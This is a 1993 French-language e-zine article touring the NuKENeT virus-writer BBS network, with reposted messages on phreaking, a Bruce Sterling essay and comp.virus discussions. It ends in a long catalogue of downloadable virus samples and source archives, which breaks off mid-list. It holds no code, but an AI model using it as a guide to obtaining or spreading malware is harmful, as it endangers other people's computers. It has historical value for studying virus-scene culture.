On pourrait passer des heures à s'abreuver à ces sources de savoir que sont les mecs de NukE, non? Allez, encore deux messages, tirés des autres sections. Le premier parce qu'il est rigolo, et le deuxième parce qu'il s,agit d'un inédit de Bruce Sterling! Yé! ------- Msg #: [172/196] Base: Phreaking Away [NuKENeT] Date : Thu 21 Jan 1993 9:51a Stat: Sent Local From : Ned239 To : Public Enemy Title: Re: Hmm... Reply: This message is a reply to #169 and has 1 reply Don't know about Canada, but it is legal to listen on cordless conversations in the U.S. The recent trouble Prince Charles was in stemmed from the interecpt of a cordless conversation..... ned239 Q. Is Windows a virus? A. No, Windows is not a virus.Here's what viruses do: 1. They replicate quickly -- okay, Windows does that. 2. Viruses use up valuable system resources, slowing down the system as they do so -- okay, Windows does that. 3. Viruses will, from time to time, trash your hard disk -- okay, Windows does that too. 4. Viruses are usually carried, unknown to the user, along with valuable programs and systems. Sigh.. Windows does that, too. 5. Viruses will occasionally make the user suspect their system is too slow (see 2) and the user will buy new hardware. Yup, that's with Windows, too. Maybe Windows is a virus.......Nope! There is a difference! Viruses are well supported by their authors, are frequently updated,and tend to become more sophisticated as they mature.Therefore, windows is not a virus. ------- But Windows take 4,867,045 Bytes more than a virus... ------- Msg #: [267/284] Base: General Topics [NuKENeT] Date : Sat 30 Jan 1993 9:31a Stat: Sent Local From : Ned239 To : All Title: interesting info check this out; Topic 16: Bruce Sterling Live at Mondo.... #123: Bruce Sterling (bruces) Sun, Aug 23, '92 (15:06) 56 lines COMPUTER AS FUROSHIKI "Computer as furoshiki" is a highly speculative vision of the personal computer as it might evolve if freed from certain current material constraints. The furoshiki is an intimate and ubiquitous accessory to Japanese daily life. It's nothing more than a large square of tough, well-made cloth, usually with a handsome pattern. The furoshiki is used, among other purposes, as a grocery bag, a book-tote, and a decorative wrapper for ceremonial gifts. In its simplicity and multiple uses it is little different from a cowboy's bandanna, except that the skill in wrapping and knotting furoshikis is more arcane. The computer-as-furoshiki is the computer as a large square of lightweight, flexible cloth. It is not, however, "cloth" as that material is currently understood. The furoshiki's display screen is formed by thin bands of color-emitting optical fibers, which are wide enough and bright enough to mimic the scan-lines of a video display terminal. These display-fibers are interwoven with other fiber-optics carrying data. A second kind of fiber is densely interwoven; it consists of room-temperature superconductive wire, possibly a novel form of buckminsterfullerene for strength and flexibility. This highly-charged net of superconductors serves as a literal power-grid. The third fiber is some currently-unknown form of piezoelectric filament that can contract, relax, and therefore warp and knot itself in response to precise electrical charges deployed along its length. A fourth form of fiber serves as a radio antenna and communications grid. One section of the cloth can be radically stiffened to serve as the diaphragm for an audio speaker. Computation, memory, and movement are carried out by photonic, photoelectronic, and electronic chips composed of custom-built artificial diamond for low cost and strength. If the tensile fibers are composed of organic proteins (which would seem likely), then the computer-as-furoshiki consists mostly of carbon. The device is operated with voice commands and touch, and possibly gesture, through a similarly woven linked glove. The computer-as-furoshiki is capable of limited movement. Early versions might fold themselves up like a gentleman's handkerchief; later models would resemble aluminum foil or Saran Wrap. Advanced versions can fly. Although this computer lacks direct video input, it might be capable of optical character recognition if placed on a page, or of image-scanning if placed on a graphic. When placed on light-sensitive paper, or film, it generates hard-copies. This computer might displace paper as a medium by usurping not merely the information of paper but the physical properties of paper as well. When one's head is wrapped completely in the furoshiki, it becomes a virtual-reality rig. When not in use, the furoshiki is worn, as a scarf, tie, turban, or, or course, the Console Cowboy's bandanna. Mainframes can be used as pup-tents, supercomputers as Big Tops, for a late twenty-first-century multimedia circus. something to get the neurons firing..... ned239 ___________ C'était un premier survol du NuKENeT, mesdames et messieurs. Nous allons maintenant descendre un peu au ras du sol, histoire de survoler la messagerie locale de Cybernetic Violence. Attachez vos ceintures! ------- Msg #: [82/82] Base: General Msgs [LOCAL] Date : Fri 12 Feb 1993 9:45p Stat: Public From : A K 4 7 #122 To : All Title: X rated GIFS....... If there is anyone out there that knows the #'s to any boards that have a LOT of X rated GIFS, please post the area codes and #'s here. Thanks. ------- Mmmmmmpppppppffffff!!! Bon, ok! Ce message est local... Mais quand même, on pourrait l'aider ce jeune adolescent en rut... Essaie l'AGBE! (Méchante gang de pattes folles)... Un simple commentaire: 1- A-t-on besoin de payer 0,30$ / Minute de Ld à Mtl pour voir ce genre de commentaire? No! Never! Ahhhhhhhhhhhhh! Ca fait du bien d'être méchant un peu! Je commencais à m'inquiéter, à force de ne pas pouvoir placer une pique! Faut dire qu'avec Cybernetic Violence, il n'y a pas beaucoup de conneries sur ce board. C'est une denrée rare... Non, sérieux, les mecs de NukE ont poussé la perversité jusqu'à espionner l'ennemi, les gars de l'AV (anti-virus). Pour ce faire, ils ont mis sur leur Net les posts du site d'Internet où s'écrivent les Sara Gordon et autres virus-busters! Msg #: [4/165] Base: Comp.Virus (Internet)[NuKENeT] Date : 13 Jan 93 17:13:43 Stat: Sent From : padgett Title: What is a virus ? From: padgett@tccslr.dnet.mmc.com (A. Padgett Peterson) There have been a number of learned comments on "beneficial" viruses and the horrors thereof. I have not read Dr. Cohen's papers (if they are available on the net, I would appreciate either FTP instructions or their E-Mail - not being at a University has its limitations), however I do have some opinions. First, a virus appears to be executable code that propagates by attaching itself to other programs. If it were a stand alone (not requiring a host) it would be a Worm. If it did not propagate, it might be a logic bomb, a trojan horse, or simply a program, but it would not be a virus. Propagation is part of the definition. Obviously companion & path viruses do not meet this test since they do not attach themselves to other programs, rather they spoof the OS into executing them instead of the requested program. MBR and BSI infections are questionable. AZUSA in particular replaces the entire MBR code and is probably more properly termed a logic bomb than a virus (of course the popular definition calls *all* malicious software viruses, but we are talking laboratory definitions now). Therefore, to be strictly a virus, a program (xA) must affect a change to another program (B) that adds the functionality of A to (B) such that the function of a third program (C) can also have the functionality of (A) added to it by the new program (BA). In other words when xA executes in the presence of B, B becomes BA. When BA executes in the presence of C, C becomes CA (*not* CBA). Further, to be a *beneficial* virus, BA must retain all of the functionality of B unless some function(s) is to be specifically (and documentedly) modified. Here the Turing Halting Rule has a new effect: A has no way of determining prior to the change of a random program B to BA whether this change will be detrimental to the functionality of B. Period. Now many people including myself have pointed to COPY as an example of a virus. On reflection this is not true since while it is possible to say COPY B.COM+COPY.COM B.COM, this will not add the functionality of COPY.COM to B.COM. COPY cannot propagate itself. It can cause programs to fail if used this way but that in itself does not make COPY a virus. Further, we have discussed the use of a program on a LAN to update Client programs, but these do not meet the test since (C) cannot be affected, only (B). Further since (B) has just been updated or replaced and cannot update anything else once "fixed" this does not meet the propagation test of a virus. Consider the recent CHKDSK furor. I posted a simple detection mechanism and "fix" that could easily be put into a program that might be executed as searched for CHKDSK.EXE. If found, it is checked. If the old one, the fix is applied. THIS IS NOT A VIRUS. The original program's function is not propagated. (B) did not become (BA), it became (B'). Certainly, if poorly written, the update could cause damage and the public might call it a virus but incorrectly. Therefore, if we accept that to be a virus, the test of A + B = BA and BA + C = CA must be met, then the Turing Halting Rule makes the general case of a beneficial virus (cannot cause any harm in any environment) impossible. Enough, Padgett --- * Origin: FidoNet/USENET Gateway [csource.oz.au] (3:632/400.0) Msg #: [8/165] Base: Comp.Virus (Internet)[NuKENeT] Date : 14 Jan 93 02:10:19 Stat: Sent Ô Title: What do you want? From: sara@news.rn.com (Sara Gordon) Recently I posted request for info from anti-virus product evaluators/services or persons with opinions on them. Thanks to all who responded. Now, I would like to inquire of anti-virus product users/purchasers (and anyone who would care to respond): 1. What are the three most important factors you consider when purchasing an anti-virus product? When your responses reference technical capabilities, please be as specific as possible in defining the capability which is important to you. Please e-mail the responses, which will be categorized and published as part of a little project i've undertaken to evaluate the 'evaluators' :) For those persons who asked me what kind of responses I have gotten from the evaluators and product developers, it is this way: so far the evaluators -for the most part- are not interested/willing to say - -how- they evaluate anti-virus products. I am specifically interested in finding information such as a.) what provisions are used to evaluate heuristic modes of a-v products b.) what provisions are taken/made in dealing with false positives c.) exactly (EXACTLY) what kind of machines are these evaluations performed using? drives? boxes? hardcards? what video displays, what dos versions? This is relative only to standalone PC's, but even with this limitation, I have had remarkable non-success in finding out exactly who is doing what, and how they are doing it. If you have any information you could share with me, I would appreciate an e-mail from you !! p.s. almost all people when asked what is the major problem with evaluating state: not enough viruses, not enough time. some state too many viruses, not enough time. concensus appears NOT ENOUGH TIME. - -- # "talk to me about computer viruses............" # fax/voice: 219-277-8599 sara@gator.use.com # data 219-273-2431 SGordon@Dockmaster.ncsc.mil # fidomail 1:227/190 vfr@netcom.com --- * Origin: FidoNet/USENET Gateway [csource.oz.au] (3:632/400.0) Date : 14 Jan 93 10:55:12 Stat: Sent From : dklefkon Title: Contents of conference proceedings, Ides of March From: dklefkon@well.sf.ca.us (Richard W. Lefkon) Nine days ago, FCWturing posted a protest to Virus-L concerning the current ban on publishing viruses within the Proceedings of the International Computer Security & Virus Conference. I'm program chair and will try to be brief explaining what and why. Those interested in the conference can call 800-835-2246 x190 and get further informatin about March 10-12 in New York City. 1. The conference and its committee are NOT spokespersons for DPMA/ACM/IEEE or the other five societies and five trade publications involved. The local DPMA chapter hosts the conference and organizations like ACM-SIGSAC and IEEE Computer Society are cooperating sponsors. As an example, IEEE sponsors literally HUNDREDS of worthwhile seminars and conferences per year. But if IEEE wants to take a position, its appropriate board will do that, not a conference. Incidentally, the most recent position taken by the DPMA chapter was in opposition to New Jersey programmer licensing legislation. While this particular 1991 stance eventually did bubble up to the top, the chapter does not speak for DPMA at large and the conference does not speak for the chapter. 2. The ban on publishing viruses in the proceedings was put into effect with last year's (5th International) conference. It resulted from a post-mortem e-mail discussion by the conference committee based on contents of the 1990 (4th) gathering. Mr. Fred Cohen is a valued memember of the 16-person conference committee, but at the time of the deliberations he (like me a year before) wasn't on a regular e-mail host. Pretty clearly, he is now. And he WILL have the chance to influence the rules that govern NEXT year's (7th International) conference. 3. Rationale. I don't necessarily agree with every punctuation mark of the position concerning publishing code fragments, but it WAS a vote/consensus of the conference committee, approximately thus: a. By definition, those who attend this conference have the resources to take off 2 or 3 days from work and pay the modest registration fees. Especially those who have attended before, they are pretty well-connected in the technical community and if really motivated could obtain the stuff you might not want your 5-year-old to fool with. Among the 20% who are full-time security people, this is especially true - and one reason why the anti-virus products were fully prepared in '92 for "Michelangelo" was that most of the major players had representatives here in '91 on March 14 when Roger Riordan of Australia laid out how he had discovered the thing a month beforehand, during his scheduled speech at the conference. b. Those whose ONLY contact with the conference is the Proceedings, could very well have considerably less ability to "get the code, no matter what." If the Proceedings is on the shelf of their library, e.g., it may be their first and only contact with viruses. So why give the true beginners a practice set of viruses? c. Therefore, last year and this year, speakers who dissectÔ York, are permitted to distribute a non-Proceedings handout to attendees. d. Rest assured, that "c" necessitated a good-will compromise on the part of those at the other end of the opinion spectrum from Fred. e. This April, procedures for the 1994 conference will be fixed by consensus of the committee members. They will take into account the experiences of the March 10-12 1993 sessions. Anyone who doubts that the committee responds to realities experienced, has only to be reminded that THIS conference will be managed by Expoconsul, the managers of DEXPO and other big events - NOT by the chapter volunteers who did this task in previous years. That's because, based on feedback, the committee was unanimous in its sentiment that "Ides of March" clearly hundreds of attendees past the point where it could be run properly by amateurs. --- * Origin: FidoNet/USENET Gateway [csource.oz.au] (3:632/400.0) ------- Hep les mecs... C'est déjà tout pour les messages... Pas pour dire qu'y en a pas beaucoup, NOT!! , Y en a des tonnes... Le NuKeNet est axé sur le Virus Talking, comme vous l'avez vu... Que dire de plus... Coté fichiers, Virus, CDC, PP, CPI Newsletters, LOL, CUD, PHRACK... Et quelques autres... Tirez vos propres conclusions. Voici les sectins fichiers : NNN:Flag:Title :NNN:Flag:Title ===:====:==============================:===:====:====================== 0 *--A [ UPLOAD ] 1 *--A [ Anti-Virii ] 2 *--A [ Virus # To L ] 3 *--A [ Virus M To Z ] 4 *--A [Original Virus Sources] 5 *--A [ Disassembled Viruses] 6 *--A [Virus Magazines & Text] 7 *N-A [ NuKE Warez ] -N-A [ NuKE Private ] 8 *--A [H/P Magazines 'n Texts] 9 *--A [ H/P Utilities ] 10 *--A [ Phreaking Related ] 11 *--A [Anarchy Progs. & Texts] 12 *--A [ PHRACK Inc. Magazine] 13 *--A [ Cult Of The Dead Cow ] 14 *--A [ CryPt Newsletter ] 15 *--A [ CPI Newsletter ] 16 *--A [ CUD Magazine ] 17 *--A [ LOL Magazine ] 18 *--A [ PPP Magazine ] 19 *--A [ Virus-L Digest ] 20 *--A [ Misc. Files ] On parle encore virus, là. Voici un échantillon des sections virus, et de ce qu'on peut y trouver... [ Virus # To L ] #2 ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Filename.Ext Bytes Description -------- --- ------- ------------------------------------------------------- !J4J .ZIP 1 50 Plaice (1273 - Generation 1 -) Virus 100YEARB.ZIP 33 50 100-Year Virus Strain B (Frodo) [4096] 1022 .ZIP 3 50 Fellowship Virus [Fellow] 1024-B .ZIP 3 50 Nomenklatura (1024-B) [Nom] 1024PRSC.ZIP 1 50 PrtSc 1024 Virus [PS10] 1033 .ZIP 12 50 Fax Free (Pisello/1030) Virus [1030] 1049 .ZIP 1 50 1049 Virus [Alf] 1075 .ZIP 1 50 Zaragoza 1075/Minsk Virus [Zar] 10PASS3 .ZIP 1 50 10 Past 3 (748) Virus [748] 1193 .ZIP 2 50 Copyright Virus (1193) [1193] 1210 .ZIP 5 50 Prudents 1210 Virus [1210] 1244 .ZIP 2 50 1244 Virus [1244] 1253 .ZIP 2 50 1253 Virus [1253] 1260 .ZIP 1 50 1260 Virus [1260] 1381 .ZIP 1 50 Internal (1381) Virus 1530 .ZIP 3 50 Rape 1530 Virus [1530] 1554 .ZIP 1 50 1554 Virus [1554] 1554B .ZIP 5 50 1554 Strain B Virus [1554] 1559 .ZIP 18 50 1559 Virus 1575 .ZIP 2 50 1575 (Green Caterpillar) Virus [15xx] 1575-C .ZIP 5 50 1575-C (Green Caterpillar) Virus [15xx] 15APR .ZIP 1 50 Murphy - Swami Generation 1 - [Murphy] 15XX .ZIP 31 50 1575 Virus [15xx] 1600 .ZIP 1 50 Jerusalem Virus (1600) [Jeru] 1605 .ZIP 3 50 Jerusalem Virus (1605) [Jeru] 1701B .ZIP 1 50 1701 Virus, Strain B [170x] 1701MUTA.ZIP 2 50 1701 Mutation 1704 .ZIP 4 50 Cascade Virus (1704) [170X] 1704-B .ZIP 3 50 1704 Virus, Strain B [170x] 1704-C .ZIP 3 50 Cascade Virus (1704-C) [170X] 1704FRMT.ZIP 2 50 Cascade Virus (1704-Format) [170X] 170X .ZIP 4 50 170X Virus [170x] 17Y4 .ZIP 8 50 Cascade 17Y4 Virus [170X] 1963 .ZIP 4 50 1963 Necropolis Virus [1963] 1992 .ZIP 1 50 1992 Virus 1992-SK .ZIP 1 50 Skism 1992 Virus 1992_B .ZIP 1 50 1992 Virus, Strain B 2144 .ZIP 2 50 USSR-2144 Virus [U2144] 2480-2 .ZIP 1 50 2480-2 (Family-M/Crew) Virus [FM] 257 .ZIP 1 50 Kemerovo Virus (257) [Kem] 2623 .ZIP 8 50 2623 Virus [2623] 30 .ZIP 1 50 Mini Virus [M45] 3012 .ZIP 4 50 Jerusalem (AntiCad-3012/Plastique) [Plq] 307 .ZIP 1 50 Timid Virus (307) [Tmd] 3103 .ZIP 4 50 USSR-3103 Virus [Svc50] 311 .ZIP 0 50 USSR-311 Virus [U311] 312VIRUS.ZIP 13 50 312Virus :This one is NOT exactly a Virus.. But it is FUNNY! :Is able to run the poor sucker's Phone Bill :through the roof! 334-2 .ZIP 3 50 334-2 Virus [ARCV] UnScaned COM 337 .ZIP 0 50 337 Virus [337] 3445 .ZIP 3 50 3445-Stealth Virus [3445] 382 .ZIP 0 50 382 Virus [382] 4 .ZIP 2 50 4 Virus [Con] VCL 405 .ZIP 0 50 405 Virus [Burger] 4096 .ZIP 3 50 4096 Virus [4096] 483 .ZIP 0 50 483 Fam3 Virus (Resurrect) [F3] 486 .ZIP 2 50 486 Family Virus (Rage) [FM] 492 .ZIP 0 50 USSR-492 Virus [U492] 4MAT2 .ZIP 1 50 4 MAT 2 Virus 512 .ZIP 0 50 512 Virus [512] 512-B .ZIP 0 50 512 Virus, Strain B [512] 512-E .ZIP 2 50 512 Strain E Virus [512] 512-F .ZIP 2 50 512 Strain F Virus [512] 512-X .ZIP 0 50 512 Strain A Virus [512] 5120 .ZIP 4 50 5120 Virus 516 .ZIP 0 50 USSR-516 Leapfrog Virus [Leap] 529 .ZIP 2 50 529 Virus [529] 529-1 .ZIP 0 50 529 Virus, Second Strain [529] 529-2 .ZIP 4 50 Piter 529 Virus [529] 535 .ZIP 0 50 535 Virus [VHP] 537 .ZIP 1 50 537 Family-Q Virus (Burger) [FQ] 541 .ZIP 0 50 541 Virus [Burger] 644 .ZIP 2 50 644 Lisbon Virus (Vienna) [Lisbon] 666 .ZIP 1 50 666 Virus (Rock Steady) 666-B .ZIP 1 50 666 Virus, Strain B (Rock Steady) [RKO] 696 .ZIP 0 50 696 FamR Virus [FR] 707 .ZIP 2 50 USSR-707 Virus 711 .ZIP 2 50 711 Family Virus (13 Minutes) [FM] 712 .ZIP 2 50 712 UNK Virus (Fumble) [UNK] 7808 .ZIP 5 50 7808 Virus (Pascal) [7808] 789 .ZIP 1 50 789 Zaragoza Virus (FileHider) [Zar] 7SON .ZIP 0 50 7thSon Virus [7s] 7SON2 .ZIP 1 50 7th Son II (332 Generation) [F-Prot] 801 .ZIP 6 50 Dot-801 Virus (StarDot) [I-F] 812 .ZIP 1 50 812 JW2 Virus (Jabberwocky) [Jab] 817 .ZIP 1 50 DOt-801 Virus (StarDot-Modified) [I-F] 855 .ZIP 32 50 855 Virus (November 17th) [855] 905 .ZIP 1 50 905 Virus [905] 911 .ZIP 2 50 911 Armagedon Virus [Arma] 981 .ZIP 16 50 981 Fichv Virus [FCH] 994 .ZIP 2 50 994 Nina Virus (DotEater) [Nina] ACME .COM 1 50 ACME companion virus - from Cryptletter 9 ADA .ZIP 3 50 Ada Virus [Ada] ADOLPH .ZIP 2 50 Adolph Virus [V2P6] ADVENT .ZIP 2 50 Advent Virus [SysLock] AGIPLAN .ZIP 1 50 AgiPlan Virus [AGI] AIDS@ .ZIP 10 50 Aids Virus [N1] AIDSII .ZIP 5 50 AIDS ][ Virus [A2] AIRCOP .ZIP 1 50 AirCop Virus AIRCOP2 .ZIP 1 50 AirCop ][ Virus [Dr2] AKUKU .ZIP 1 50 Akuku Virus [Akuku] ALA-1652.ZIP 2 50 Ala Virus [Alabama] ALABAMA .ZIP 1 50 Alabama Virus (1560) [Alabama] ALEMEDA .ZIP 10 50 Alemeda Virus ALLO .ZIP 7 50 Allo Virus AMBULANC.ZIP 1 50 Ambulance Car Virus [RedX] AMILIA .ZIP 2 50 Amilia Virus (Rock Steady) [Murphy] AMOEBA .ZIP 3 50 1392 Amoeba Virus [1392] AMOEBA-2.ZIP 1 50 Amoeba ][ Virus [1392] AMST-299.ZIP 1 50 Amstrad 299 Virus [Pix] AMST-345.ZIP 1 50 Amstrad 345 Virus [Pix] AMST-740.ZIP 1 50 Amstrad 740 Virus [Pix] AMST-847.ZIP 1 50 Amstrad 847 Virus [Pix] AMST-850.ZIP 1 50 Amstrad 850 Virus [Pix] AMST-852.ZIP 0 50 Amstrad 852 Virus [Pix] AMSTRAD .ZIP 0 50 Amstrad Pure Strain Virus [Amst] AMUSAK .ZIP 6 50 Amusak Virus ANARKIA1.ZIP 1 50 Anarkia Virus [Jeru] ANARKIA2.ZIP 2 50 Anarkia-2 (Jeru Related) [FU] ANNA .ZIP 3 50 Anna Virus [ARCV] UnScaned COM ANTHRAX .ZIP 1 50 Anthrax Virus [Atx] ANTIC10K.ZIP 19 50 Famous 10k Virus ANTICAD .ZIP 1 50 AntiCad Virus (1253) [1253] ANTICST .ZIP 1 50 Anti-Christ Virus [Pest] ANTIFAG .ZIP 1 50 Anti-Fag Virus [VHP] ANTIFIRE.ZIP 0 50 Anti-Fire Virus ANTIMON .ZIP 2 50 Antimon Virus [1453] ANTITEL .ZIP 1 50 Anti-Tel Virus ( Boot Sector ) [A-Vir] ANTI_D .ZIP 2 50 Anti_D (or FamR) Virus [FR] ANTI_DAF.ZIP 3 50 Anti DAF virus AP-400 .ZIP 0 50 Anti-Pascal 400 Virus [AP] AP-440 .ZIP 0 50 Anti-Pascal 440 Virus [AP] AP-480 .ZIP 0 50 Anti-Pascal 480 Virus [AP] AP-529 .ZIP 0 50 Anti-Pascal 529 Virus [AP-2] AP-605 .ZIP 0 50 Anti-Pascal 605 Virus [AP-2] APOC .ZIP 3 50 Apocalypse Virus [Jeru] APOCII .ZIP 2 50 Apoc ][ Virus [2000] ARCV-1 .ZIP 2 50 ARCV #1 [ARCV] UnScaned COM ARCV-2 .ZIP 2 50 ARCV #2 [ARCV] UnScaned COM ARCV-3 .ZIP 2 50 ARCV #3 [ARCV] UnScaned COM ARCV-4 .ZIP 2 50 ARCV #4 [ARCV] UnScaned COM ARCV-5 .ZIP 2 50 ARCV #5 [ARCV] UnScaned COM ARCV-6 .ZIP 1 50 ARCV #6 [ARCV] UnScaned COM ARCV-7 .ZIP 2 50 ARCV #7 [ARCV] UnScaned COM ARCV-8 .ZIP 2 50 ARCV #8 [ARCV] UnScaned COM ARCV-9 .ZIP 2 50 ARCV #9 [ARCV] UnScaned COM ARCV93 .ZIP 2 50 ARCV'93 Virus [ARCV] UnScaned ARCVSAND.ZIP 3 50 ARCV Snadwiich Virus [ARCV] UnScaned TSR-COM ARF .ZIP 1 50 Arf Virus (Parasite) [Par] ARF-B .ZIP 0 50 ARF Strain B Virus [VHP] ARMAGEDO.ZIP 1 50 Armaggedon Virus [Arma] ASHAR .ZIP 2 50 Ashar Virus (Brain-Dropper) [Drp] AT144 .ZIP 0 50 AT144 Virus [144] ATTENTN .ZIP 0 50 Attention Virus (USSR-394) [U394] AZUSA .ZIP 4 50 Azusa Virus BACKTIME.ZIP 0 50 Backtime Virus [BT] BADBOY .ZIP 1 50 Bad Boy Virus [BB] BADBOY2 .ZIP 1 50 Bad Boy Strain ][ Virus [BB] BADGUY-2.ZIP 0 50 BadGuy Virus Strain 2 (I-B) [IB] BADTASTE.ZIP 2 50 Badtaste Virus (Murphy) [Murphy] BANANA .ZIP 1 50 Banana Virus (Trivial) [OW] BANDIT .ZIP 1 50 Bandit Virus [Ban] BARCELON.ZIP 4 50 Barcelona Virus [Barc] BASICVIR.ZIP 5 50 Basic Virus BATVIR .ZIP 0 50 Batch File Virus BB .ZIP 0 50 Bad Brains Virus BEAST .ZIP 0 50 Beast-N-Black Virus [GenF] BEBE .ZIP 2 50 BEBE Virus [BeBe] BEDTIME .ZIP 4 50 Bedtime Virus BEEPER .ZIP 2 50 Beeper Virus [Beep] BEST .ZIP 1 50 Best Wish Virus [BWish] BFD .ZIP 3 50 BFD Virus [BFD] BLAZE .ZIP 0 50 Eternal Blaze Virus BLJEC3 .ZIP 0 50 Bljec-3 Virus [Blj] BLJEC4 .ZIP 0 50 Bljec-4 Virus [Blj] BLJEC5 .ZIP 0 50 Bljec-5 Virus [Blj] BLJEC6 .ZIP 0 50 Bljec-6 Virus [Blj] BLJEC8 .ZIP 0 50 Bljec-8 Virus [Blj] BLJEC9 .ZIP 0 50 Bljec-9 Virus [Blj] BLOOD .ZIP 0 50 Blood Virus [Blood] BLOODLUS.ZIP 1 50 Blood Lust Virus [Blus] BLOODY .ZIP 0 50 Bloody Virus ( Boot Sector ) [Bloody] BMONDAY .ZIP 1 50 Black Monday Virus [BMon] BOBINST .ZIP 12 50 Bob Ross Virus Installer v.99b BOBVIRUS.ZIP 8 50 Bob Virus [Bet] BOOKOVIR.ZIP 72 50 Book of Viruses (Various Virii) BOOT1 .ZIP 2 50 Boot 1 Virus (Ping Pong -B) [Ping] BOOT2 .ZIP 2 50 Boot 2 Virus BOYS .ZIP 0 50 Boys Virus [Boys] BRAINVRS.ZIP 0 50 Pakistani Brain Virus [Brain] BRENDA .ZIP 0 50 Brenda Virus [Tiny] BRN_ASH .ZIP 47 50 Brain Ashar Virus [Brain] BROTHER .ZIP 1 50 Brother Virus BUBBLE .ZIP 1 50 Bubble Virus (1244) [1244] BURGER@ .ZIP 4 50 Burger Virus [Burger] BURGR541.ZIP 2 50 Burger-541 Virus (Family-Q) [FQ] BUSH .ZIP 0 50 Bushishiro Virus [GenF][VHP] BUSTED .ZIP 0 50 Busted Virus [Bst] BUTSTINK.ZIP 4 50 Butt Stink Virus ( Who makes up these names? ) CANCER .ZIP 0 50 Cancer Virus [Pix] CANNAB2 .ZIP 0 50 Cannabis-2 CANSU .ZIP 0 50 Cansu/V-Sign Virus CAPTRIPS.ZIP 27 50 Captain Trips Virus [Jeru-A] CARIOCA .ZIP 1 50 Carioca Virus [Carioca] CASCADE .ZIP 1 50 Cascade Virus [170X] CASCDE-A.ZIP 4 50 Cascade (1701-A) Virus [170X] CASPER .ZIP 1 50 Casper Virus [Casper] CATMAN .ZIP 1 50 Catman Virus [Ctm] CAZ .ZIP 2 50 CAZ Virus [F-prot] CBOMBER .ZIP 12 50 Bomber Virus [Bmb] CD .ZIP 2 50 CD Virus [CD] CDM11 .ZIP 2 50 Cinco de Mayo 1.1 Infects COM B4 12:00 EXEs after :Cinco de Mayo virus. Infects COM files before noon :EXE files after noon and a surprise on May 5th. :[MPC]/[VCL] Hybrid CEMETARY.ZIP 3 50 Cemetary Virus [Pest] CHEEBA .ZIP 3 50 Cheeba Virus [Che][CHB] CHEESY .ZIP 0 50 Cheesy Virus CHNG-MPC.ZIP 2 50 Chuang Virus (MPC Production) [MPC] CHRONO .ZIP 3 50 Chrono Virus CHUANG .ZIP 1 50 Chuang Virus (VCL Production) [Con] VCL 5 CIA .ZIP 1 50 CIA Virus [Burger] CIA2 .ZIP 3 50 CIA Virus (Burger/Family-Q) [FQ] CINDER .ZIP 2 50 Cinderella Virus (FamS) [FS] CIVIL_4B.ZIP 4 50 Civil War 4B :Rewritten with TPE 1.3 CIVIL_4C.ZIP 2 50 Civil War 4C :Rewritten with TPE 1.3 CLONE .ZIP 18 50 Clone Virus (Jerusalem) [Jeru] CODEZERO.ZIP 0 50 Code Zero Virus COLUMBUS.ZIP 14 50 Columbus Virus COMDEX .ZIP 25 50 Comdex Virus COOKIE .ZIP 3 50 Cookie Virus COP-MPL .ZIP 2 50 Variation of Akuka COSSIGNA.ZIP 2 50 Cossigna Virus [1204] CRASH .ZIP 2 50 Crash Dummy Virus (VCL Product) [Con] VCL 5 CREEPER!.ZIP 2 50 Creeper Virus [Crp] CRF .ZIP 0 50 CRF Virus [Crf] CRIMEIIB.ZIP 1 50 DataCrime 2B Virus [Crime-2B] CRUMBLE .ZIP 2 50 Crummble Virus (Falling Letters) [Crm] CRYPTM .ZIP 8 50 CryptM Virus [Mut][DAME] CRZYEDIE.ZIP 1 50 Crazy Eddie Virus CVIRUS .ZIP 25 50 C Virus [CV] CVIRUS20.ZIP 11 50 C-Virus v2.0 (NuKE) CVIRUS21.ZIP 15 50 C-Virus v2.1 ( NuKE ) CVIRUS3 .ZIP 11 50 C-Virus v3 ( NuKE ) CW .ZIP 1 50 CW Virus (VirusDemo Clone) [Burger] CYBER101.ZIP 3 50 Cybertel v1.01 Virus CYBERTEL.ZIP 3 50 Cybernetic Intelligence Virus D-DANCE .ZIP 1 50 Devil's Dance Virus [Dance] D-FX .ZIP 2 50 Death F/X Virus [Blj] D-FX2 .ZIP 0 50 Death F/X ][ Virus DAMAGE .ZIP 2 50 Damage Virus [Alf] DAMIEN .ZIP 0 50 Damien Virus DARKAVEN.ZIP 1 50 Dark Avenger Virus [Dav] DARKLORD.ZIP 1 50 Dark Lord Virus [Ter] DARTH2 .ZIP 0 50 Darth Vader ][ Virus [512] DARTH4 .ZIP 0 50 Darth-4 Virus [512] DATACR-2.ZIP 2 50 DataCrime 2 [DC-2] DATACR-B.ZIP 2 50 DataCrime 1B [Crime] DATACRIM.ZIP 1 50 Datacrime Virus (1168) [Crime] DATALOCK.ZIP 1 50 DataLock Virus [Data] DATCRM2B.ZIP 1 50 DataCrime 2B Virus [C-2B] DAVEN-B .ZIP 1 50 Dark Avenger Virus, Strain B [Dav] DAVID .ZIP 1 50 David Virus [Alf] DBASE .ZIP 1 50 DBase Virus [Dbase] DBL_VISN.ZIP 5 50 Double Vision Virus DC-1168 .ZIP 1 50 DataCrime 1168 Virus [Crime] DC-B .ZIP 0 50 Death Cow Virus, Strain B DDAY10A .ZIP 3 50 Dooms Day V1.0A Virus DDRUS .ZIP 0 50 Ddrus Variant Of Vienna DEADLY .ZIP 10 50 Deadly Virus (Jerusalem) [Jeru] DEADPOOL.ZIP 1 50 DeadPool Virus DEATHCOW.ZIP 0 50 Deathcow Virus DEFINE .ZIP 0 50 Define Virus [Def] DEICIDE .ZIP 0 50 Deicide Virus [Dei] DELYRIUM.ZIP 1 50 Delyrium (Murphy Strain) [Murphy] DEMOLITN.ZIP 1 50 Demolition Virus [Dmo] DEMON .ZIP 0 50 Demon Virus [Demon] DENZUK .ZIP 5 50 Den Zuk Virus [DenZuk] DEST2 .ZIP 1 50 Dest ][ Virus [DES] DESTI .ZIP 3 50 Desti Virus DESTRUCT.ZIP 1 50 Destructor Virus [Destr] DHOG .ZIP 3 50 Define Virus [Def] DIABOLIK.ZIP 1 50 Diabolik Virus [Murphy] DIAMOND .ZIP 1 50 Diamond Virus [1024] DIOGENES.ZIP 3 50 DioGenes Virus (New VCL) DIR .ZIP 0 50 DIR Virus [DIR] DIRII .ZIP 1 50 Dir-2/FAT Virus [D2] DIRR .ZIP 3 50 DIR Virus DISKKILL.ZIP 0 50 Diskkiller Virus DODO .ZIP 0 50 Dodo (birdie) Virus [Dod] DODO-PIG.ZIP 0 50 Dodo-Pig (Dodo-407) [Dod] DOMEVIR .ZIP 29 50 DOME Virus With Sources DONOTH-B.ZIP 1 50 Do Nothing - B Virus [Not] DONOTHIN.ZIP 0 